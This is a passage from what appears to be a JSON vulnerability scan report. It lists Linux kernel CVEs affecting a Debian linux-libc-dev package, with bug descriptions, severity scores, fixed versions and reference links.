"https://access.redhat.com/errata/RHSA-2026:36365", "https://access.redhat.com/errata/RHSA-2026:36366", "https://access.redhat.com/errata/RHSA-2026:40764", "https://access.redhat.com/errata/RHSA-2026:52649", "https://access.redhat.com/errata/RHSA-2026:52764", "https://access.redhat.com/errata/RHSA-2026:53989", "https://access.redhat.com/errata/RHSA-2026:53990", "https://access.redhat.com/errata/RHSA-2026:56573", "https://access.redhat.com/errata/RHSA-2026:57402", "https://access.redhat.com/errata/RHSA-2026:57457", "https://access.redhat.com/errata/RHSA-2026:57543", "https://access.redhat.com/errata/RHSA-2026:59662", "https://access.redhat.com/errata/RHSA-2026:59663", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:60019", "https://access.redhat.com/errata/RHSA-2026:62409", "https://access.redhat.com/errata/RHSA-2026:62549", "https://access.redhat.com/errata/RHSA-2026:62558", "https://access.redhat.com/errata/RHSA-2026:62637", "https://access.redhat.com/errata/RHSA-2026:62638", "https://access.redhat.com/errata/RHSA-2026:62639", "https://access.redhat.com/errata/RHSA-2026:62640", "https://access.redhat.com/errata/RHSA-2026:62641", "https://access.redhat.com/errata/RHSA-2026:62642", "https://access.redhat.com/errata/RHSA-2026:65839", "https://access.redhat.com/errata/RHSA-2026:65851", "https://access.redhat.com/security/cve/CVE-2026-43112", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2467113", "https://bugzilla.redhat.com/2479832", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2482564", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2482660", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2484477", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2467015", "https://bugzilla.redhat.com/show_bug.cgi?id=2467113", "https://bugzilla.redhat.com/show_bug.cgi?id=2479832", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2482564", "https://bugzilla.redhat.com/show_bug.cgi?id=2482636", "https://bugzilla.redhat.com/show_bug.cgi?id=2482660", "https://bugzilla.redhat.com/show_bug.cgi?id=2484451", "https://bugzilla.redhat.com/show_bug.cgi?id=2484477", "https://bugzilla.redhat.com/show_bug.cgi?id=2486958", "https://bugzilla.redhat.com/show_bug.cgi?id=2486982", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43112", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46244", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46323", "https://errata.almalinux.org/9/ALSA-2026-36018.html", "https://errata.rockylinux.org/RLSA-2026:36018", "https://git.kernel.org/linus/78ec5bf2f589ec7fd8f169394bfeca541b077317%20%287.0-rc7%29", "https://git.kernel.org/stable/c/2d29214448ec0f4e7e18bb1c14dd4a6c07f1c439", "https://git.kernel.org/stable/c/49b1ce6d7cfb6c5a49f68bf5ccfcfb6ba14e63c3", "https://git.kernel.org/stable/c/5d4fe469fe7dbff7d874c196bb680a82f2625d95", "https://git.kernel.org/stable/c/78ec5bf2f589ec7fd8f169394bfeca541b077317", "https://git.kernel.org/stable/c/86f9c23e0814cfdffda9eedf0c591c51ba209010", "https://git.kernel.org/stable/c/a2ba20c17de8eb028f96b1d85f119d3d25655bd9", "https://git.kernel.org/stable/c/fbced33599653471b4581dfe1abc7b467031f126", "https://linux.oracle.com/cve/CVE-2026-43112.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050625-CVE-2026-43112-f37f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43112", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43112.json", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43112" ], "PublishedDate": "2026-05-06T10:16:24.927Z", "LastModifiedDate": "2026-10-19T20:18:05.913Z" }, { "VulnerabilityID": "CVE-2026-43114", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43114", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:52321fa458b64637c05349d394a2fd4c93cfdcdb9133b0385c85fbcca38969bf", "Title": "kernel: netfilter: nft_set_pipapo_avx2: don't return non-matching entry on expiry", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_set_pipapo_avx2: don't return non-matching entry on expiry\n\nNew test case fails unexpectedly when avx2 matching functions are used.\n\nThe test first loads a ranomly generated pipapo set\nwith 'ipv4 . port' key, i.e. nft -f foo.\n\nThis works. Then, it reloads the set after a flush:\n(echo flush set t s; cat foo) | nft -f -\n\nThis is expected to work, because its the same set after all and it was\nalready loaded once.\n\nBut with avx2, this fails: nft reports a clashing element.\n\nThe reported clash is of following form:\n\n We successfully re-inserted\n a . b\n c . d\n\nThen we try to insert a . d\n\navx2 finds the already existing a . d, which (due to 'flush set') is marked\nas invalid in the new generation. It skips the element and moves to next.\n\nDue to incorrect masking, the skip-step finds the next matching\nelement *only considering the first field*,\n\ni.e. we return the already reinserted \"a . b\", even though the\nlast field is different and the entry should not have been matched.\n\nNo such error is reported for the generic c implementation (no avx2) or when\nthe last field has to use the 'nft_pipapo_avx2_lookup_slow' fallback.\n\nBisection points to\n7711f4bb4b36 (\"netfilter: nft_set_pipapo: fix range overlap detection\")\nbut that fix merely uncovers this bug.\n\nBefore this commit, the wrong element is returned, but erronously\nreported as a full, identical duplicate.\n\nThe root-cause is too early return in the avx2 match functions.\nWhen we process the last field, we should continue to process data\nuntil the entire input size has been consumed to make sure no stale\nbits remain in the map.", "Severity": "HIGH", "CweIDs": [ "CWE-20", "CWE-480" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:59723", "https://access.redhat.com/errata/RHSA-2026:62568", "https://access.redhat.com/errata/RHSA-2026:62638", "https://access.redhat.com/errata/RHSA-2026:62639", "https://access.redhat.com/errata/RHSA-2026:62640", "https://access.redhat.com/errata/RHSA-2026:62641", "https://access.redhat.com/errata/RHSA-2026:62642", "https://access.redhat.com/errata/RHSA-2026:63093", "https://access.redhat.com/errata/RHSA-2026:64767", "https://access.redhat.com/errata/RHSA-2026:65712", "https://access.redhat.com/errata/RHSA-2026:66351", "https://access.redhat.com/errata/RHSA-2026:66370", "https://access.redhat.com/errata/RHSA-2026:66376", "https://access.redhat.com/errata/RHSA-2026:67721", "https://access.redhat.com/errata/RHSA-2026:67723", "https://access.redhat.com/security/cve/CVE-2026-43114", "https://bugzilla.redhat.com/2422696", "https://bugzilla.redhat.com/2432681", "https://bugzilla.redhat.com/2466994", "https://bugzilla.redhat.com/2492095", "https://bugzilla.redhat.com/2492112", "https://bugzilla.redhat.com/2492735", "https://bugzilla.redhat.com/2492747", "https://bugzilla.redhat.com/2492770", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2502889", "https://bugzilla.redhat.com/2507290", "https://bugzilla.redhat.com/2507301", "https://bugzilla.redhat.com/2520980", "https://bugzilla.redhat.com/show_bug.cgi?id=2422696", "https://bugzilla.redhat.com/show_bug.cgi?id=2432681", "https://bugzilla.redhat.com/show_bug.cgi?id=2466994", "https://bugzilla.redhat.com/show_bug.cgi?id=2492095", "https://bugzilla.redhat.com/show_bug.cgi?id=2492112", "https://bugzilla.redhat.com/show_bug.cgi?id=2492735", "https://bugzilla.redhat.com/show_bug.cgi?id=2492747", "https://bugzilla.redhat.com/show_bug.cgi?id=2492770", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2502889", "https://bugzilla.redhat.com/show_bug.cgi?id=2507290", "https://bugzilla.redhat.com/show_bug.cgi?id=2507301", "https://bugzilla.redhat.com/show_bug.cgi?id=2520980", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68211", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52920", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52924", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53131", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74581", "https://errata.almalinux.org/9/ALSA-2026-59723.html", "https://errata.rockylinux.org/RLSA-2026:59723", "https://git.kernel.org/linus/d3c0037ffe1273fa1961e779ff6906234d6cf53c%20%287.0-rc6%29", "https://git.kernel.org/stable/c/07de44424bb7f17ef9357e8535df96d9e97c40cb", "https://git.kernel.org/stable/c/0abbc43f71d99baadeeba6fa3fe1c80b676f57ed", "https://git.kernel.org/stable/c/1c43f0dd8691ddf8884793b481ddc7511cf593c3", "https://git.kernel.org/stable/c/3d53f9aafd469ae1ea27051e00f5b96ca1b55d52", "https://git.kernel.org/stable/c/c7babe2f28b507e17f28e9f753b7caec72d4857f", "https://git.kernel.org/stable/c/d3c0037ffe1273fa1961e779ff6906234d6cf53c", "https://git.kernel.org/stable/c/f8c39983fc9c1a978c82e6f2df7bfba8a8561587", "https://git.kernel.org/stable/c/fa4f1f52528c73989d820f32bfca06bec5afeece", "https://linux.oracle.com/cve/CVE-2026-43114.html", "https://linux.oracle.com/errata/ELSA-2026-59723.html", "https://lore.kernel.org/linux-cve-announce/2026050626-CVE-2026-43114-5deb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43114", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43114.json", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43114" ], "PublishedDate": "2026-05-06T10:16:25.163Z", "LastModifiedDate": "2026-10-19T20:18:06.407Z" }, { "VulnerabilityID": "CVE-2026-43117", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43117", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f2f06d6b34200e442b55a852f24c479f5a75b038da9956ed804157c33989a706", "Title": "kernel: Linux kernel: btrfs filesystem crash via incorrect superblock handling with overlayfs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: tracepoints: get correct superblock from dentry in event btrfs_sync_file()\n\nIf overlay is used on top of btrfs, dentry-\u003ed_sb translates to overlay's\nsuper block and fsid assignment will lead to a crash.\n\nUse file_inode(file)-\u003ei_sb to always get btrfs_sb.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43117", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/a85b46db143fda5869e7d8df8f258ccef5fa1719%20%287.0-rc6%29", "https://git.kernel.org/stable/c/2e4adfaec97ee053ad1bdfb5036845e66f7e0d8a", "https://git.kernel.org/stable/c/32372781d664a9b03c40343e96c29d0a6139f97d", "https://git.kernel.org/stable/c/4a7bab35fad5251c8cb738161152578cd83b6b9c", "https://git.kernel.org/stable/c/520e8b4bcf872a534a7bf61ccf880047642df296", "https://git.kernel.org/stable/c/a85b46db143fda5869e7d8df8f258ccef5fa1719", "https://git.kernel.org/stable/c/c09a7446aab5773f38d6abb25fce99b8e1dfbc97", "https://git.kernel.org/stable/c/d110d7cdb045715c0b45b0dfd974525bb38f653d", "https://git.kernel.org/stable/c/e252db8ca2a01f82d472091f35d549b313278636", "https://linux.oracle.com/cve/CVE-2026-43117.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050627-CVE-2026-43117-8e20@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43117", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8617-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43117" ], "PublishedDate": "2026-05-06T10:16:25.513Z", "LastModifiedDate": "2026-10-19T20:18:06.98Z" }, { "VulnerabilityID": "CVE-2026-43120", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43120", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2ac0a551a8da5047e2012db4e15be706971a19590698c04aa3488bb1bbc990cf", "Title": "kernel: RDMA/irdma: Fix double free related to rereg_user_mr", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/irdma: Fix double free related to rereg_user_mr\n\nIf IB_MR_REREG_TRANS is set during rereg_user_mr, the\numem will be released and a new one will be allocated\nin irdma_rereg_mr_trans. If any step of irdma_rereg_mr_trans\nfails after the new umem is allocated, it releases the umem,\nbut does not set iwmr-\u003eregion to NULL. The problem is that\nthis failure is propagated to the user, who will then call\nibv_dereg_mr (as they should). Then, the dereg_mr path will\nsee a non-NULL umem and attempt to call ib_umem_release again.\n\nFix this by setting iwmr-\u003eregion to NULL after ib_umem_release.\n\nFixed: 5ac388db27c4 (\"RDMA/irdma: Add support to re-register a memory region\")", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43120", "https://git.kernel.org/linus/29a3edd7004bb635d299fb9bc6f0ea4ef13ed5a2%20%287.0-rc6%29", "https://git.kernel.org/stable/c/0c5d70bcb9d2275a1c8515a924016fcfeb4ab441", "https://git.kernel.org/stable/c/0f22c32141acdcda266b26cab2b830baf870f3e0", "https://git.kernel.org/stable/c/29a3edd7004bb635d299fb9bc6f0ea4ef13ed5a2", "https://git.kernel.org/stable/c/62298a48f8b8788ad8b8464e6ffdf1ddebd2217e", "https://git.kernel.org/stable/c/66964118f1f50ed85001c8fc9f7ab5bbdd021ee0", "https://linux.oracle.com/cve/CVE-2026-43120.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050628-CVE-2026-43120-80f4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43120", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-43120" ], "PublishedDate": "2026-05-06T10:16:25.913Z", "LastModifiedDate": "2026-10-19T20:18:07.17Z" }, { "VulnerabilityID": "CVE-2026-43125", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43125", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:37d1ee50e79f67e3ba9d1c64bce1c9d9fe26f18e3a2ad87c5d3d7408d6bafda7", "Title": "kernel: dlm: validate length in dlm_search_rsb_tree", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndlm: validate length in dlm_search_rsb_tree\n\nThe len parameter in dlm_dump_rsb_name() is not validated and comes\nfrom network messages. When it exceeds DLM_RESNAME_MAXLEN, it can\ncause out-of-bounds write in dlm_search_rsb_tree().\n\nAdd length validation to prevent potential buffer overflow.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-130" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25120", "https://access.redhat.com/errata/RHSA-2026:25121", "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/errata/RHSA-2026:33899", "https://access.redhat.com/errata/RHSA-2026:33900", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34095", "https://access.redhat.com/errata/RHSA-2026:35844", "https://access.redhat.com/errata/RHSA-2026:35863", "https://access.redhat.com/errata/RHSA-2026:36767", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/errata/RHSA-2026:55761", "https://access.redhat.com/errata/RHSA-2026:55762", "https://access.redhat.com/errata/RHSA-2026:55763", "https://access.redhat.com/errata/RHSA-2026:55837", "https://access.redhat.com/errata/RHSA-2026:56224", "https://access.redhat.com/errata/RHSA-2026:56225", "https://access.redhat.com/errata/RHSA-2026:59091", "https://access.redhat.com/security/cve/CVE-2026-43125", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/080e5563f878c64e697b89e7439d730d0daad882%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0270664871616eb3a5c864b9aa17be76fd35b920", "https://git.kernel.org/stable/c/080e5563f878c64e697b89e7439d730d0daad882", "https://git.kernel.org/stable/c/082083c9fbd99422a0370fe2102144a231c9f5d6", "https://git.kernel.org/stable/c/2deafd015ea9a0e75ee5764e20eb1e16bd73efd8", "https://git.kernel.org/stable/c/5f053a2e7209d326cbbc07738fa6d6893d307438", "https://git.kernel.org/stable/c/67288113c5e6cf9e659b4065c0ed6f16100e0c71", "https://git.kernel.org/stable/c/c98d071a1ca903b705316225e47006aaa20e989c", "https://linux.oracle.com/cve/CVE-2026-43125.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050619-CVE-2026-43125-c9f9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43125", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43125.json", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://www.cve.org/CVERecord?id=CVE-2026-43125" ], "PublishedDate": "2026-05-06T12:16:29.45Z", "LastModifiedDate": "2026-10-30T13:18:46.33Z" }, { "VulnerabilityID": "CVE-2026-43128", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43128", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:911abb163f8e69aad5838d9dd2d5de4d6f8e783c49bfbf028c484ce8ded1a418", "Title": "kernel: RDMA/umem: Fix double dma_buf_unpin in failure path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/umem: Fix double dma_buf_unpin in failure path\n\nIn ib_umem_dmabuf_get_pinned_with_dma_device(), the call to\nib_umem_dmabuf_map_pages() can fail. If this occurs, the dmabuf\nis immediately unpinned but the umem_dmabuf-\u003epinned flag is still\nset. Then, when 